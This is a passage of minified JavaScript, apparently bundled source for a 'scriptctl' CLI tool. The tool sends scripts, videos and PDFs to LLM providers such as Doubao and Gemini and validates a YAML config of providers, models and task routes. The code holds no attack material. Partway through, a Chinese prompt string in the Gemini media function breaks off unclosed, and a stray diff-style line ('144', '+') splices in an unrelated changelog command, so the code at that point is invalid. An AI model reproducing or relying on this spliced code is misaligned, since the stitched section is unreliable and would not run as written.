e===401?(i="auth",r={failure_type:"authentication",failure_code:"authentication_failed"}):e===403?(i="permission_denied",r={failure_type:"authorization",failure_code:"permission_denied"}):e===404?(i="endpoint",r={failure_type:"provider",failure_code:"resource_not_found"}):e===408?(i="timeout",r={failure_type:"timeout",failure_code:"request_timeout"},s=!0):e===413&&o.operation==="upload"?(i="request_failed",r={failure_type:"media",failure_code:"media_too_large"}):e===415&&o.operation==="upload"?(i="request_failed",r={failure_type:"media",failure_code:"unsupported_media"}):e===429?(i="rate_limited",r={failure_type:"rate_limit",failure_code:"rate_limited"},s=!0):e>=500?(i="request_failed",r={failure_type:"provider",failure_code:"provider_unavailable"},s=!0):o.operation==="upload"?(i="request_failed",r={failure_type:"media",failure_code:"media_upload_failed"}):(i="request_failed",r={failure_type:"provider",failure_code:"request_rejected"}),new T(i,t,{retryable:s,details:[`status: ${e}`,n],classification:r,context:{...o,http_status:e}})}var bx=2e3;function vx(e){return new Promise(t=>setTimeout(t,e))}function Hd(e,t,n,o){if(e instanceof T)return e;let i=e instanceof Error?e.message:String(e),r=ta(e),s={provider:"doubao",model:o,operation:n};return r!==null?si(r,`Doubao ${n} failed.`,i.slice(0,500),s):ri(e,t,`Doubao ${n} failed.`,i.slice(0,500),s)}function Ox(e){if(!e)return{};let t=n=>typeof n=="number"?n:void 0;return{inputTokens:t(e.input_tokens),outputTokens:t(e.output_tokens)}}function Rx(e){let t=[];for(let n of e.output??[])if(n.type==="message")for(let o of n.content??[])o.type==="output_text"&&typeof o.text=="string"&&t.push(o.text);return t.join("").trim()}var oa=class{constructor(t,n,o,i,r,s){this.model=t;this.timeoutMs=n;this.maxAttempts=o;this.client=s??Mx(i,r,n)}model;timeoutMs;maxAttempts;client;async run(t){let{value:n}=await en(this.maxAttempts,async()=>{try{return await this.client.uploadFile({filePath:t.localPath,mimeType:t.localMime,fps:t.fps})}catch(i){throw Hd(i,t.signal,"upload",this.model)}});if(!n.id)throw new T("invalid_response","Doubao upload returned no file id.");let o=await this.pollActive(n.id,t.signal);try{return await this.generateOnce(o,t)}finally{await this.client.deleteFile({id:o}).catch(()=>{})}}async pollActive(t,n){let o=Date.now()+this.timeoutMs,i="processing";for(;i==="processing"||i==="";){if(n?.aborted)throw new T("cancelled","Doubao upload aborted.",{context:{provider:"doubao",model:this.model,operation:"file_poll"}});if(Date.now()>=o)throw new T("timeout","Doubao file processing timed out.",{retryable:!0,classification:{failure_type:"timeout",failure_code:"media_processing_timeout"},context:{provider:"doubao",model:this.model,operation:"file_poll"}});await vx(bx);let r;try{r=await this.client.getFile({id:t})}catch(s){throw Hd(s,n,"file_poll",this.model)}i=(r.status??"").toLowerCase()}if(i==="failed"||i==="error")throw new T("invalid_response","Doubao file processing failed.",{classification:{failure_type:"media",failure_code:"media_processing_failed"},context:{provider:"doubao",model:this.model,operation:"file_poll"}});return t}async generateOnce(t,n){let o={model:this.model,input:[{role:"user",content:[{type:"input_video",file_id:t},{type:"input_text",text:n.user}]}]};return n.system?.trim()&&(o.instructions=n.system),n.responseJsonSchema&&(o.text={format:{type:"json_schema",name:"video_serial",schema:n.responseJsonSchema}}),this.generateResponse(o,n.signal,!!n.responseJsonSchema,n.acceptsText)}async generateText(t){let n=this.textParams(t);return t.responseFormat&&(n.text={format:{type:t.responseFormat}}),this.generateResponse(n,t.signal,!!t.responseFormat)}async generateDocument(t,n){let o=t.media.kind==="base64"?t.media.data:n?Fd.readFileSync(n).toString("base64"):void 0;if(!o)throw new T("invalid_response","Doubao PDF recovery requires the original document bytes.");let i={model:this.model,input:[{role:"user",content:[{type:"input_file",filename:n?Yd.basename(n):"document.pdf",file_data:`data:application/pdf;base64,${o}`},{type:"input_text",text:t.user}]}]};return t.system?.trim()&&(i.instructions=t.system),t.responseJsonSchema&&(i.text={format:{type:"json_schema",name:"document",schema:t.responseJsonSchema}}),this.generateResponse(i,t.signal,!!t.responseJsonSchema)}async generateTool(t){let n=this.textParams(t);n.text={format:{type:"json_schema",name:t.tool.name,description:t.tool.description,schema:t.tool.inputSchema}};let o=await this.generateResponse(n,t.signal,!0);return{input:JSON.parse(o.text),finishReason:o.finishReason,attempts:o.attempts,usage:o.usage,raw:o.raw}}textParams(t){return{model:this.model,instructions:t.system,input:[{role:"user",content:[{type:"input_text",text:t.user}]}]}}async generateResponse(t,n,o,i){let{value:r,attempts:s,failedUsage:c}=await en(this.maxAttempts,async()=>{let a;try{a=await this.client.createResponse(t,n)}catch(f){throw Hd(f,n,"generate",this.model)}let d=(a.status??"").toLowerCase(),p=Ox(a.usage);if(d==="incomplete"){let f=a.incomplete_details?.reason??"unknown";throw f==="max_output_tokens"||f==="length"?new T("truncated","Doubao output was truncated.",{usage:p}):new T("content_filtered",`Doubao response incomplete (reason=${f}).`,{usage:p})}let l=Rx(a);if(!l)throw new T("empty_response","Doubao returned an empty response.",{retryable:!0,usage:p});if(i&&!i(l))throw new T("invalid_response","Doubao response does not match the requested output format.",{retryable:!0,usage:p,context:{provider:"doubao",model:this.model,operation:"generate"}});if(o)try{JSON.parse(l)}catch{throw new T("invalid_response","Doubao returned malformed JSON for a structured response.",{retryable:!0,usage:p,context:{provider:"doubao",model:this.model,operation:"generate"}})}return{text:l,usage:p,raw:a}});return{text:r.text,finishReason:"STOP",attempts:s,usage:Xt(c,r.usage),raw:r.raw}}},Qd=class extends Error{constructor(n,o){super(o);this.status=n;this.name="HttpError"}status};function Mx(e,t,n){let o=t.replace(/\/$/,""),i={Authorization:`Bearer ${e}`},r=new Ax({headersTimeout:n,bodyTimeout:n});function s(a){let d=AbortSignal.timeout(n);return a?AbortSignal.any([a,d]):d}async function c(a){let d=await a.text().catch(()=>"");throw new Qd(a.status,d.slice(0,500))}return{async uploadFile({filePath:a,mimeType:d,fps:p}){let l=new kx,f=Fd.readFileSync(a);l.append("file",new Ix([f],Yd.basename(a),{type:d})),l.append("purpose","user_data"),l.append("preprocess_configs[video][fps]",String(p));let u=await na(`${o}/files`,{method:"POST",headers:i,body:l,signal:s(),dispatcher:r});return u.ok||await c(u),await u.json()},async getFile({id:a}){let d=await na(`${o}/files/${a}`,{headers:i,signal:s(),dispatcher:r});return d.ok||await c(d),await d.json()},async createResponse(a,d){let p=await na(`${o}/responses`,{method:"POST",headers:{...i,"Content-Type":"application/json"},body:JSON.stringify(a),signal:s(d),dispatcher:r});return p.ok||await c(p),await p.json()},async deleteFile({id:a}){let d=await na(`${o}/files/${a}`,{method:"DELETE",headers:i,signal:s(),dispatcher:r});d.ok||await c(d)}}}import{GoogleAuth as Lx}from"google-auth-library";function ia(){let e=(process.env.VERTEX_PROJECT_ID||process.env.GOOGLE_CLOUD_PROJECT)?.trim();if(!e)throw new Error("VERTEX_PROJECT_ID or GOOGLE_CLOUD_PROJECT is required for official Vertex AI");return e}var Jf=new Lx({scopes:["https://www.googleapis.com/auth/cloud-platform"]});function Hr(){return process.env.VERTEX_LOCATION||process.env.GOOGLE_CLOUD_LOCATION||"global"}function Kf(){let e=Hr();return`https://${e==="global"?"aiplatform":`${e}-aiplatform`}.googleapis.com`}import*as Ff from"node:fs";import{createRequire as Dx}from"node:module";import*as ra from"node:fs";import*as Nx from"node:http";import*as Ux from"node:https";import{HttpsProxyAgent as Px}from"https-proxy-agent";var zf="https://generativelanguage.googleapis.com";function Cx(e,t){let n=new URL(e??zf);return n.pathname=`${n.pathname.replace(/\/+$/,"")}/upload/v1beta/files`,n.searchParams.set("key",t),n}function Tx(e,t){let n=new URL(t??zf),o=new URL(e,n);if(!t)return o;o.protocol=n.protocol,o.host=n.host;let i=n.pathname.replace(/\/+$/,"");return i&&o.pathname!==i&&!o.pathname.startsWith(`${i}/`)&&(o.pathname=`${i}/${o.pathname.replace(/^\/+/,"")}`),o}function Qi(e,t){if(!t)return e;let n=e.split(t).join("[REDACTED]"),o=encodeURIComponent(t);return o!==t&&(n=n.split(o).join("[REDACTED]")),n}function Vx(e){return e?new Px(e):void 0}function jf(e,t,n,o){return new Promise((i,r)=>{let c=(e.protocol==="http:"?Nx:Ux).request({...t,agent:e.protocol==="https:"?t.agent:void 0,protocol:e.protocol,hostname:e.hostname,port:e.port||void 0,path:`${e.pathname}${e.search}`},a=>{let d="";a.on("data",p=>d+=p),a.on("end",()=>i({status:a.statusCode??0,headers:a.headers,body:d}))});if(c.on("error",r),o){if(o.aborted){c.destroy(new Error("aborted"));return}o.addEventListener("abort",()=>c.destroy(new Error("aborted")),{once:!0})}n&&typeof n.pipe=="function"?n.pipe(c):(n&&c.write(n),c.end())})}function $x(e,t){let n=e[t];return Array.isArray(n)?n[0]??"":n??""}async function Hf(e){let t=ra.statSync(e.filePath).size,o={agent:Vx(e.proxyUrl??""),timeout:e.timeoutMs},i=Cx(e.baseUrl,e.apiKey),r=l=>Qi(l,e.apiKey),s;try{s=await jf(i,{...o,method:"POST",headers:{"X-Goog-Upload-Protocol":"resumable","X-Goog-Upload-Command":"start","X-Goog-Upload-Header-Content-Length":String(t),"X-Goog-Upload-Header-Content-Type":e.mimeType,"Content-Type":"application/json"}},JSON.stringify({file:{}}),e.signal)}catch(l){let f=r(l instanceof Error?l.message:String(l));throw ri(l,e.signal,"Gemini upload start failed.",f,{operation:"upload"})}let c=$x(s.headers,"x-goog-upload-url");if(s.status<200||s.status>=300)throw si(s.status,"Gemini upload start failed.",r(s.body).slice(0,300),{operation:"upload"});if(!c)throw new T("invalid_response","Gemini upload start returned no upload URL.",{details:[r(s.body).slice(0,300)],context:{operation:"upload",http_status:s.status}});let a=Tx(c,e.baseUrl),d;try{d=await jf(a,{...o,method:"POST",headers:{"Content-Length":String(t),"X-Goog-Upload-Offset":"0","X-Goog-Upload-Command":"upload, finalize"}},ra.createReadStream(e.filePath),e.signal)}catch(l){let f=r(l instanceof Error?l.message:String(l));throw ri(l,e.signal,"Gemini upload transfer failed.",f,{operation:"upload"})}if(d.status<200||d.status>=300)throw si(d.status,"Gemini upload transfer failed.",r(d.body).slice(0,300),{operation:"upload"});let p;try{p=JSON.parse(d.body)}catch{throw new T("invalid_response","Gemini upload returned invalid JSON.",{details:[r(d.body).slice(0,300)]})}if(!p.file)throw new T("invalid_response","Gemini upload returned no file.",{details:[r(d.body).slice(0,300)]});return p.file}var Gx=new Set(["SAFETY","PROHIBITED_CONTENT","RECITATION","BLOCKLIST","SPII","IMAGE_SAFETY","IMAGE_PROHIBITED_CONTENT","IMAGE_RECITATION","ESCALATION"]),Bx=new Set(["LANGUAGE","OTHER","MALFORMED_FUNCTION_CALL","IMAGE_OTHER","NO_IMAGE","UNEXPECTED_TOOL_CALL","TOO_MANY_TOOL_CALLS","MISSING_THOUGHT_SIGNATURE","MALFORMED_RESPONSE"]);function qd(e){switch(e){case"SAFETY":case"PROHIBITED_CONTENT":case"BLOCKLIST":case"SPII":case"RECITATION":case"IMAGE_SAFETY":case"IMAGE_PROHIBITED_CONTENT":case"IMAGE_RECITATION":case"ESCALATION":case"OTHER":return e;case"":case"BLOCK_REASON_UNSPECIFIED":case"FINISH_REASON_UNSPECIFIED":return"UNSPECIFIED";default:return"UNKNOWN"}}function Qf(e){if(e?.length)return e.map(t=>({category:t.category??"UNSPECIFIED",probability:t.probability??"UNSPECIFIED",blocked:t.blocked??!1}))}function Jx(e){if(typeof e!="object"||e===null)return{};let t=e,n=s=>typeof s=="number"?s:void 0,o=n(t.candidatesTokenCount),i=n(t.thoughtsTokenCount),r=n(t.cachedContentTokenCount);return{inputTokens:n(t.promptTokenCount),outputTokens:o===void 0&&i===void 0?void 0:(o??0)+(i??0),...r!==void 0?{cachedInputTokens:r}:{}}}function Kx(e){return/-c\d+$/.test(e)}function jx(e){let t=e.indexOf("{"),n=e.lastIndexOf("}");if(t<0||n<t)throw new SyntaxError("JSON object not found");return e.slice(t,n+1)}var zx=2e3;function Hx(e){return new Promise(t=>setTimeout(t,e))}function Zd(e,t,n,o,i,r){if(e instanceof T)return new T(e.code,Qi(e.message,o),{retryable:e.retryable,details:e.details.map(d=>Qi(d,o)),attempts:e.attempts,usage:e.usage,classification:Pi(e.failure),context:{...kr(e.failure),provider:i,model:r,operation:n},modelFailures:e.modelFailures});let s=Qi(e instanceof Error?e.message:String(e),o),c=ta(e),a={provider:i,model:r,operation:n};return c!==null?si(c,`Gemini ${n} failed.`,s.slice(0,500),a):ri(e,t,`Gemini ${n} failed.`,s.slice(0,500),a)}var Fi=class{constructor(t,n,o,i){this.provider=t;this.model=n;this.apiKey=o;this.client=i??Fx(o,t.timeoutMs,t.baseUrl,t.protocol==="google-vertex")}provider;model;apiKey;client;async prepare(t,n,o,i){return o==="base64"||this.provider.protocol==="google-vertex"?{kind:"base64",data:Ff.readFileSync(t,"base64"),mimeType:n}:{kind:"file-api",file:await this.uploadFile(t,n,i)}}async uploadFile(t,n,o){let{value:i}=await en(this.provider.maxAttempts,async()=>{try{return await this.client.files.upload({file:t,config:{mimeType:n}})}catch(s){throw Zd(s,o,"upload",this.apiKey,this.model.provider,this.model.model)}}),r=await this.pollActive(i,o);if(!r.name||!r.uri)throw new T("invalid_response","Gemini upload returned no file reference.",{context:{provider:this.model.provider,model:this.model.model,operation:"upload"}});return{name:r.name,uri:r.uri,mimeType:r.mimeType??n}}async pollActive(t,n){let o=t,i=Date.now()+this.provider.timeoutMs;for(;(o.state??"").toUpperCase()==="PROCESSING";){if(n?.aborted)throw new T("cancelled","Gemini upload aborted.",{context:{provider:this.model.provider,model:this.model.model,operation:"file_poll"}});if(Date.now()>=i)throw new T("timeout","Gemini file processing timed out.",{retryable:!0,classification:{failure_type:"timeout",failure_code:"media_processing_timeout"},context:{provider:this.model.provider,model:this.model.model,operation:"file_poll"}});if(await Hx(zx),!o.name)throw new T("invalid_response","Gemini upload returned no file name to poll.",{context:{provider:this.model.provider,model:this.model.model,operation:"file_poll"}});try{o=await this.client.files.get({name:o.name})}catch(r){throw Zd(r,n,"file_poll",this.apiKey,this.model.provider,this.model.model)}}if((o.state??"").toUpperCase()==="FAILED")throw new T("invalid_response","Gemini file processing failed.",{details:[Qi(o.error?.message??"unknown media error",this.apiKey)],classification:{failure_type:"media",failure_code:"media_processing_failed"},context:{provider:this.model.provider,model:this.model.model,operation:"file_poll"}});return o}async generateMedia(t,n){let o=!!t.responseJsonSchema&&Kx(this.model.model),i={mediaResolution:"MEDIA_RESOLUTION_HIGH"},r=[t.system?.trim(),o?`\u8F93\u51FA\u5FC5\u987B\u662F\u4E00\u4E2A\u53EF\u89E3\u6790\u7684 JSON \u5BF9\u8C61\u3002\u53EA\u8FD4\u56DE JSON\uFF0C\u4E0D\u8981\u8F93\u51FA\u4EFB\u4F55\u989D\u5916\u6587\u5B57\u6216 Markdown \u4EE3\u7801\u5757\u3002
144
+ `)}function Nf(e){let t=e._args??[],n=t[0]?.trim()??"",o=String(e.from??"").trim(),i=String(e.to??"").trim(),r=!!e.unreleased;if(t.length>1)throw new S("changelog accepts at most one version argument.",{exitCode:B,errorCode:"CHANGELOG_TOO_MANY_ARGS",hint:"Pass a single version, or use --from/--to for a range.",data:{expected:["scriptctl changelog [version] [--from X] [--to Y] [--unreleased]"],actual:[t.join(" ")]}});if(r&&(n||o||i))throw new S("--unreleased cannot combine with version, --from, or --to.",{exitCode:B,errorCode:"CHANGELOG_SELECTOR_CONFLICT",hint:"Run `scriptctl changelog --unreleased` by itself.",data:{expected:["either --unreleased, a version, or a --from/--to range"],actual:["--unreleased with another selector"]}});if(n&&(o||i))throw new S("A version argument cannot combine with --from or --to.",{exitCode:B,errorCode:"CHANGELOG_SELECTOR_CONFLICT",hint:"Run `scriptctl changelog 0.25.10` or `scriptctl changelog --from 0.25.8 --to 0.25.10`.",data:{expected:["either a version argument, or --from/--to"],actual:[n,o?`--from ${o}`:"",i?`--to ${i}`:""].filter(Boolean)}});if(r){let d=qs(HE);return[{text:d,data:{content:d,versions:[],unreleased:!0}},G]}let s=FE(),c=QE();if(n){if(Gr(n),!s.includes(n))throw Md(n,s);let d=qs(n);return[{text:d,data:{content:d,versions:[n],unreleased:!1}},G]}if(o||i){if(!o)throw new S("--from is required for range queries.",{exitCode:B,errorCode:"CHANGELOG_FROM_MISSING",hint:"Run `scriptctl changelog --from 0.25.8 --to 0.25.10`.",data:{expected:["--from <x.y.z>"],actual:[i?`--to ${i}`:"<missing>"]}});Gr(o);let d=i||c;if(Gr(d),!s.includes(d))throw Md(d,s);let p=s.filter(f=>Ld(f,o)>0&&Ld(f,d)<=0);if(p.length===0)throw YE(o,d);let l=qE(p);return[{text:l,data:{content:l,versions:p,from:o,to:d,unreleased:!1}},G]}if(!s.includes(c))throw Md(c,s);let a=qs(c);return[{text:a,data:{content:a,versions:[c],unreleased:!1}},G]}import*as Bt from"node:fs";import*as ai from"node:path";import{createRequire as Wx}from"node:module";import*as zn from"node:fs";import*as Io from"node:path";import*as Pf from"node:os";import{fileURLToPath as ZE}from"node:url";function Uf(e){return e.startsWith("~")?Io.join(Pf.homedir(),e.slice(1)):e}function WE(e){let t=zn.readFileSync(e,"utf-8");for(let n of t.split(/\r?\n/)){let o=n.trim();if(!o||o.startsWith("#"))continue;o.startsWith("export ")&&(o=o.slice(7).trim());let i=o.indexOf("=");if(i<0)continue;let r=o.slice(0,i).trim(),s=o.slice(i+1).trim();s.length>=2&&s[0]===s[s.length-1]&&(s[0]==="'"||s[0]==='"')&&(s=s.slice(1,-1)),r&&s&&!process.env[r]&&(process.env[r]=s)}}function Ud(){let e=[],t=(process.env.SCRIPTCTL_ENV_FILE??"").trim();t&&e.push(Uf(t));let n=(process.env.SCRIPTCTL_SKILL_DIR??"").trim();n&&e.push(Io.join(Uf(n),".env"));let o;try{o=ZE(import.meta.url)}catch{o=process.cwd()}let i=Io.resolve(o),r=new Set;for(;;){let s=Io.dirname(i);if(s===i||r.has(s))break;r.add(s),e.push(Io.join(s,".env")),i=s}return e}function Cf(){let e=process.env.SCRIPTCTL_NO_DOTENV;if(e==="1"||e==="true"||e==="True")return;let t=new Set;for(let n of Ud()){let o;try{o=zn.existsSync(n)?zn.realpathSync(n):n}catch{o=n}t.has(o)||!zn.existsSync(n)||!zn.statSync(n).isFile()||(t.add(o),WE(n))}}var fe=class extends Error{status;code;payload;configMissing;constructor(t,n={}){super(t),this.name="ScriptOutputApiError",this.status=n.status??null,this.code=n.code??null,this.payload=n.payload,this.configMissing=n.configMissing??null}};async function Pd(e,t){if(e.updateEpisodeCount)try{await e.updateEpisodeCount(t)}catch{}}function Tf(e){let t=!!e?.remote,n=!!e?.local;if(t&&n)return{mode:null,conflict:!0};if(t)return{mode:"remote",conflict:!1};if(n)return{mode:"local",conflict:!1};let o=(process.env.SCRIPTCTL_OUTPUT_MODE??"").trim().toLowerCase();if(o==="local"||o==="remote")return{mode:o,conflict:!1};if(o!=="")return{mode:null,conflict:!1};let i=typeof e?.projectGroupNo=="string"?e.projectGroupNo.trim():"",r=(process.env.SANDBOX_PROJECT_GROUP_NO??"").trim();return i!==""||r!==""?{mode:"remote",conflict:!1}:{mode:null,conflict:!1}}import*as Kr from"node:fs";import*as $f from"node:os";import*as Br from"node:path";import{parseDocument as XE}from"yaml";function ae(e,t,n){return{id:e,mode:t,version:"1",maxOutputTokens:n,defaultProfile:"default"}}var An={"direct.episode-titles":ae("direct.episode-titles","tool",4096),"direct.batch-extract":ae("direct.batch-extract","text",16e3),"direct.episode-synopsis":ae("direct.episode-synopsis","tool",2048),"direct.synopsis-reduction":ae("direct.synopsis-reduction","tool",4096),"direct.script-synopsis":ae("direct.script-synopsis","tool",2048),"direct.asset-grouping":ae("direct.asset-grouping","text",8e3),"direct.asset-curation":ae("direct.asset-curation","text",2e4),"direct.asset-curation-audit":ae("direct.asset-curation-audit","text",2e4),"direct.location-canonicalization":ae("direct.location-canonicalization","text",2e4),"direct.state-curation":ae("direct.state-curation","text",2e4),"direct.state-binding":ae("direct.state-binding","tool",16e3),"metadata.global":ae("metadata.global","text",16e3),"metadata.descriptions":ae("metadata.descriptions","text",16e3),"synopsis.chunk":ae("synopsis.chunk","text",4096),"synopsis.episode":ae("synopsis.episode","text",4096),"synopsis.arc":ae("synopsis.arc","text",16e3),"synopsis.script-overview":ae("synopsis.script-overview","text",16e3),"ingest.body-start":ae("ingest.body-start","text",16e3),"ingest.arc-summary":ae("ingest.arc-summary","text",4096),"ingest.text-normalize":ae("ingest.text-normalize","text",32e3),"ingest.episode-assets":ae("ingest.episode-assets","tool",32e3),"ingest.name-fix":ae("ingest.name-fix","tool",16e3),"ingest.mention-resolve":ae("ingest.mention-resolve","text",8e3),"ingest.asset-extract":ae("ingest.asset-extract","text",8e3),"ingest.asset-curate":ae("ingest.asset-curate","text",32e3),"ingest.asset-recall":ae("ingest.asset-recall","text",65536),"ingest.asset-refine":ae("ingest.asset-refine","text",32e3),"ingest.state-reconcile":ae("ingest.state-reconcile","text",32e3),"ingest.asset-audit":ae("ingest.asset-audit","tool",32e3),"ingest.speaker-audit":ae("ingest.speaker-audit","tool",16e3),"ingest.comic-serial":{id:"ingest.comic-serial",mode:"document",version:"1",defaultProfile:"default"},"ingest.video-serial":ae("ingest.video-serial","video",65536)},Vf=Object.keys(An).filter(Cd);function Cd(e){return Object.hasOwn(An,e)}var ex=new Set(["protocol","baseUrl","apiKey","timeoutMs","maxAttempts","videoResponseSchemaField","videoUploadMode","documentResponseSchemaField","documentUploadMode"]),tx=new Set(["provider","model","thinking","reasoning","temperature","fallbacks"]),nx=new Set(["env"]),ox=new Set(["budgetTokens"]);function ve(e,t=[]){return new S(e,{exitCode:b,errorCode:"LLM_CONFIG_INVALID",hint:"Fix the selected LLM configuration or environment and rerun `scriptctl doctor`.",data:{expected:["valid scriptctl LLM YAML configuration"],actual:t}})}function Gd(e,t){let n;try{n=new URL(e)}catch{throw ve(`${t} must be an absolute URL.`)}if(n.protocol!=="http:"&&n.protocol!=="https:")throw ve(`${t} must use http or https.`);return n.toString().replace(/\/$/,"")}function Bd(e,t="provider base URL"){return Gd(e,t)}function ix(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function Ao(e,t){if(!ix(e))throw ve(`${t} must be a mapping.`,[`${t}: ${typeof e}`]);return e}function ko(e,t){if(typeof e!="string"||!e.trim())throw ve(`${t} must be a non-empty string.`);return e.trim()}function Dd(e,t,n,o){if(!Number.isInteger(e)||typeof e!="number"||e<n||o!==void 0&&e>o)throw ve(`${t} must be an integer in ${o===void 0?`[${n}, +\u221E)`:`[${n}, ${o}]`}.`);return e}function Jr(e,t,n){let o=Object.keys(e).filter(i=>!t.has(i));if(o.length>0)throw ve(`${n} contains unknown fields.`,o)}function rx(e,t){let n=Ao(t,`providers.${e}`);Jr(n,ex,`providers.${e}`);let o=ko(n.protocol,`providers.${e}.protocol`);if(o!=="anthropic"&&o!=="openai-compatible"&&o!=="google-gemini"&&o!=="google-vertex")throw ve(`providers.${e}.protocol is unsupported.`,[o]);let i=n.baseUrl===void 0&&o!=="openai-compatible"?null:Gd(ko(n.baseUrl,`providers.${e}.baseUrl`),`providers.${e}.baseUrl`),r="";if(o!=="google-vertex"||n.apiKey!==void 0){let c=Ao(n.apiKey,`providers.${e}.apiKey`);if(Jr(c,nx,`providers.${e}.apiKey`),r=ko(c.env,`providers.${e}.apiKey.env`),!/^[A-Za-z_][A-Za-z0-9_]*$/.test(r))throw ve(`providers.${e}.apiKey.env must be an environment variable name.`)}let s={protocol:o,baseUrl:i,apiKeyEnv:r,timeoutMs:Dd(n.timeoutMs,`providers.${e}.timeoutMs`,1),maxAttempts:Dd(n.maxAttempts,`providers.${e}.maxAttempts`,1,6)};for(let c of["videoResponseSchemaField","documentResponseSchemaField"]){let a=n[c];if(a!==void 0){if(o!=="google-gemini"&&o!=="google-vertex")throw ve(`providers.${e}.${c} requires a Gemini ${c.startsWith("video")?"video":"document"} provider.`);if(a!=="responseJsonSchema"&&a!=="responseSchema")throw ve(`providers.${e}.${c} must be responseJsonSchema or responseSchema.`);s[c]=a}}for(let c of["videoUploadMode","documentUploadMode"]){let a=n[c];if(a!==void 0){if(o!=="google-gemini"&&o!=="google-vertex")throw ve(`providers.${e}.${c} requires a Gemini ${c.startsWith("video")?"video":"document"} provider.`);if(a!=="file-api"&&a!=="base64")throw ve(`providers.${e}.${c} must be file-api or base64.`);s[c]=a}}return s}function sx(e,t,n){let o=Ao(t,`models.${e}`);Jr(o,tx,`models.${e}`);let i=ko(o.provider,`models.${e}.provider`),r=n[i];if(!r)throw ve(`models.${e} references an unknown provider.`,[i]);let s={provider:i,model:ko(o.model,`models.${e}.model`)};if(o.reasoning!==void 0&&(s.reasoning=ko(o.reasoning,`models.${e}.reasoning`)),o.fallbacks!==void 0){let c=o.fallbacks;if(!Array.isArray(c))throw ve(`models.${e}.fallbacks must be a list of model profiles.`);s.fallbacks=c.map((a,d)=>ko(a,`models.${e}.fallbacks[${d}]`))}if(o.temperature!==void 0){let c=o.temperature;if(typeof c!="number"||!Number.isFinite(c)||c<0)throw ve(`models.${e}.temperature must be a number \u2265 0.`);s.temperature=c}if(o.thinking!==void 0){if(r.protocol!=="anthropic")throw ve(`models.${e}.thinking is only valid for anthropic providers.`);let c=Ao(o.thinking,`models.${e}.thinking`);Jr(c,ox,`models.${e}.thinking`),s.thinkingBudgetTokens=Dd(c.budgetTokens,`models.${e}.thinking.budgetTokens`,1024)}return s}function ax(e,t){let n=Ao(e,"config");if(Jr(n,new Set(["version","providers","models","tasks"]),"config"),n.version!==1)throw ve("config.version must be 1.");let o=Ao(n.providers,"providers"),i={};for(let[a,d]of Object.entries(o))i[a]=rx(a,d);let r=Ao(n.models,"models"),s={};for(let[a,d]of Object.entries(r))s[a]=sx(a,d,i);if(!s.default)throw ve("models.default is required.");for(let[a,d]of Object.entries(s))for(let p of d.fallbacks??[])if(!s[p]||p===a)throw ve(`models.${a}.fallbacks references an unknown or the same profile.`,[p]);let c={};if(n.tasks!==void 0){let a=Ao(n.tasks,"tasks");for(let[d,p]of Object.entries(a)){if(!Cd(d))throw ve("tasks contains an unknown task id.",[d]);let l=ko(p,`tasks.${d}`);if(!s[l])throw ve(`tasks.${d} references an unknown model profile.`,[l]);c[d]=l}}return{version:1,providers:i,models:s,tasks:c,source:"file",sourcePath:t}}var Qn={protocol:"google-gemini",baseUrl:"https://grsai.dakka.com.cn",apiKeyEnv:"GRSAI_API_KEY",timeoutMs:6e5,maxAttempts:3,videoResponseSchemaField:"responseSchema",videoUploadMode:"base64"},oi={protocol:"google-gemini",baseUrl:"https://api.nnyyai.com",apiKeyEnv:"NNYYAI_API_KEY",timeoutMs:6e5,maxAttempts:3,videoResponseSchemaField:"responseSchema",videoUploadMode:"base64",documentResponseSchemaField:"responseSchema",documentUploadMode:"base64"},Jd="gemini-3.8-flash-anci",Td={protocol:"google-gemini",baseUrl:"http://15.204.107.123:3000",apiKeyEnv:"MSUICODE_VERTEX_API_KEY",timeoutMs:6e5,maxAttempts:3,videoResponseSchemaField:"responseSchema",videoUploadMode:"base64"},Vd=["review-msuicode-gcp","review-msuicode-t3","review-tuzi","review-doubao-lite","review-doubao"],Hn={version:1,providers:{gw:{protocol:"openai-compatible",baseUrl:null,apiKeyEnv:"PROJECT_LITELLM_GATEWAY_API_KEY",timeoutMs:3e5,maxAttempts:3},"gw-anthropic":{protocol:"anthropic",baseUrl:null,apiKeyEnv:"PROJECT_LITELLM_GATEWAY_API_KEY",timeoutMs:3e5,maxAttempts:3},"google-gemini":{protocol:"google-vertex",baseUrl:null,apiKeyEnv:"",timeoutMs:6e5,maxAttempts:3},nnyyai:oi,"nnyyai-ci":{...oi,apiKeyEnv:"NNYYAI_CI_API_KEY"},"msuicode-vertex":{...Td},"msuicode-gcp":{...Td,apiKeyEnv:"MSUICODE_GCP_API_KEY"},"msuicode-t3":{...Td,apiKeyEnv:"MSUICODE_T3_API_KEY"},grsai:Qn,tuzi:{protocol:"google-gemini",baseUrl:"https://api.tu-zi.com",apiKeyEnv:"TUZI_API_KEY",timeoutMs:6e5,maxAttempts:3},"ark-lite":{protocol:"openai-compatible",baseUrl:"https://ark.cn-beijing.volces.com/api/v3",apiKeyEnv:"ARK_API_KEY",timeoutMs:3e5,maxAttempts:3},ark:{protocol:"openai-compatible",baseUrl:"https://ark.ap-southeast.bytepluses.com/api/v3",apiKeyEnv:"DOUBAO_TURBO_API_KEY",timeoutMs:3e5,maxAttempts:3}},models:{default:{provider:"gw",model:"deepseek-v4-flash-packy",temperature:0},synopsis:{provider:"gw",model:"deepseek-v4.1-flash-huoshan",temperature:0},"ingest-low":{provider:"gw",model:"deepseek-v4-flash-packy",temperature:0},"ingest-normalize":{provider:"gw",model:"claude-sonnet-4-6-aihubmix",temperature:0},"ingest-video":{provider:"nnyyai-ci",model:Jd},"ingest-comic":{provider:"nnyyai",model:"gemini-3.8-flash"},"review-text":{provider:"msuicode-vertex",model:"gemini-3.8-flash",temperature:0,fallbacks:Vd},"review-comic":{provider:"msuicode-vertex",model:"gemini-3.8-flash",temperature:0,fallbacks:Vd},"review-agent":{provider:"msuicode-vertex",model:"gemini-3.8-flash",temperature:0,fallbacks:Vd},"review-msuicode-gcp":{provider:"msuicode-gcp",model:"gemini-3.8-flash"},"review-msuicode-t3":{provider:"msuicode-t3",model:"gemini-3.8-flash"},"review-nnyyai":{provider:"nnyyai",model:"gemini-3.8-flash"},"review-tuzi":{provider:"tuzi",model:"gemini-3.8-flash"},"review-doubao-lite":{provider:"ark-lite",model:"ep-20261029164743-gt8dh"},"review-doubao":{provider:"ark",model:"ep-20261028172514-tlxzc"},"review-media":{provider:"nnyyai",model:"gemini-3.8-flash"},"review-grok-4.7":{provider:"gw",model:"grok-4.7-packy"},"review-grok-4.6":{provider:"gw",model:"grok-4.6-packy"},"review-grok-4.5":{provider:"gw",model:"grok-4.5-packy"}